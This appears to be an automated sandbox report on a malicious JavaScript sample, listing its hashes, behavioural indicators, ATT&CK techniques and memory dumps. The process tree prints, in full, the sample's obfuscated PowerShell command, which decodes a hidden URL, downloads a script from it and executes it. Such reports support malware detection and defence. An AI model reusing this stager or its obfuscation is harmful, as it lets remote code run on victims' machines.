fd4621126f856da314435d80d992ebafe4d4f235cf126a0ea1c5d14351f9933e

Analysis

max time kernel
93s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 15:07

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General

Target

71075e76f94c759f85f68b8357ae000a34ed2add03a861987a665068b12c8d29.js
Size

227KB
MD5

456351d25f2493ebd899799fcee37544
SHA1

0a98c1dda575e27bb37eca290e659ad396cbfd4e
SHA256

71075e76f94c759f85f68b8357ae000a34ed2add03a861987a665068b12c8d29
SHA512

f1c29c6a97df557695c65756c8e6412f61eb06173b3a77e68cb4b7cc71f8f68c4d36cd698f3df1d493c9f03e8a578c23a311b4027f10697fb9cf1c21705e244c
SSDEEP

1536:nwg44SilsIL6nyHaRuIuA3uJ6rdyNaEW8wljVt6nyHaRuIuA3uJQrdyNaEW8wljz:nzPxPU/8GJG/oGJeGJC/A/X

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4480	3820	conhost.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	4500	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4500	powershell.exe
4500	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4500	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4480 wrote to memory of 4500	4480	conhost.exe	84
PID 4480 wrote to memory of 4500	4480	conhost.exe	84

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\71075e76f94c759f85f68b8357ae000a34ed2add03a861987a665068b12c8d29.js
1⤵
PID:3764

C:\Windows\system32\conhost.exe
conhost --headless powershell $kjdfgi='ur' ;new-alias printout c$($kjdfgi)l;$bpdwgx=(1996,2007,2015,1999,2001,1996,2016,2015,2020,1953,2015,1949,1996,1944,2014,2009,2010,1945,1947,1944,2010,2002,2010,1961,2013,1959,2007,2003,2008,2014,2013,1948,1947);$giranp=('bronx','get-cmdlet');$gmoliv=$bpdwgx;foreach($zlevrohfq in $gmoliv){$pjmzai=$zlevrohfq;$xnshzoerkdty=$xnshzoerkdty+[char]($pjmzai-1898);$noqvipxstwbcl=$xnshzoerkdty; $yrjalpm=$noqvipxstwbcl};$uvtkpl[2]=$yrjalpm;$wuzfejc='rl';$xizbfskonvqydh=1;.$([char](9992-9887)+'e'+'x')(printout -useb $yrjalpm)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $kjdfgi='ur' ;new-alias printout c$($kjdfgi)l;$bpdwgx=(1996,2007,2015,1999,2001,1996,2016,2015,2020,1953,2015,1949,1996,1944,2014,2009,2010,1945,1947,1944,2010,2002,2010,1961,2013,1959,2007,2003,2008,2014,2013,1948,1947);$giranp=('bronx','get-cmdlet');$gmoliv=$bpdwgx;foreach($zlevrohfq in $gmoliv){$pjmzai=$zlevrohfq;$xnshzoerkdty=$xnshzoerkdty+[char]($pjmzai-1898);$noqvipxstwbcl=$xnshzoerkdty; $yrjalpm=$noqvipxstwbcl};$uvtkpl[2]=$yrjalpm;$wuzfejc='rl';$xizbfskonvqydh=1;.$([char](9992-9887)+'e'+'x')(printout -useb $yrjalpm)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4500

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ianobudz.rgi.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4500-0-0x00007FFBD2723000-0x00007FFBD2725000-memory.dmp

Filesize
8KB

Download
memory/4500-10-0x0000019AB93A0000-0x0000019AB93C2000-memory.dmp

Filesize
136KB

Download
memory/4500-11-0x00007FFBD2720000-0x00007FFBD31E1000-memory.dmp

Filesize
10.8MB

Download
memory/4500-12-0x00007FFBD2720000-0x00007FFBD31E1000-memory.dmp

Filesize
10.8MB

Download
memory/4500-13-0x00007FFBD2720000-0x00007FFBD31E1000-memory.dmp

Filesize
10.8MB

Download
memory/4500-14-0x00007FFBD2720000-0x00007FFBD31E1000-memory.dmp

Filesize
10.8MB

Download
memory/4500-15-0x00007FFBD2723000-0x00007FFBD2725000-memory.dmp

Filesize
8KB

Download
memory/4500-16-0x00007FFBD2720000-0x00007FFBD31E1000-memory.dmp

Filesize
10.8MB

Download
memory/4500-19-0x00007FFBD2720000-0x00007FFBD31E1000-memory.dmp

Filesize
10.8MB

Download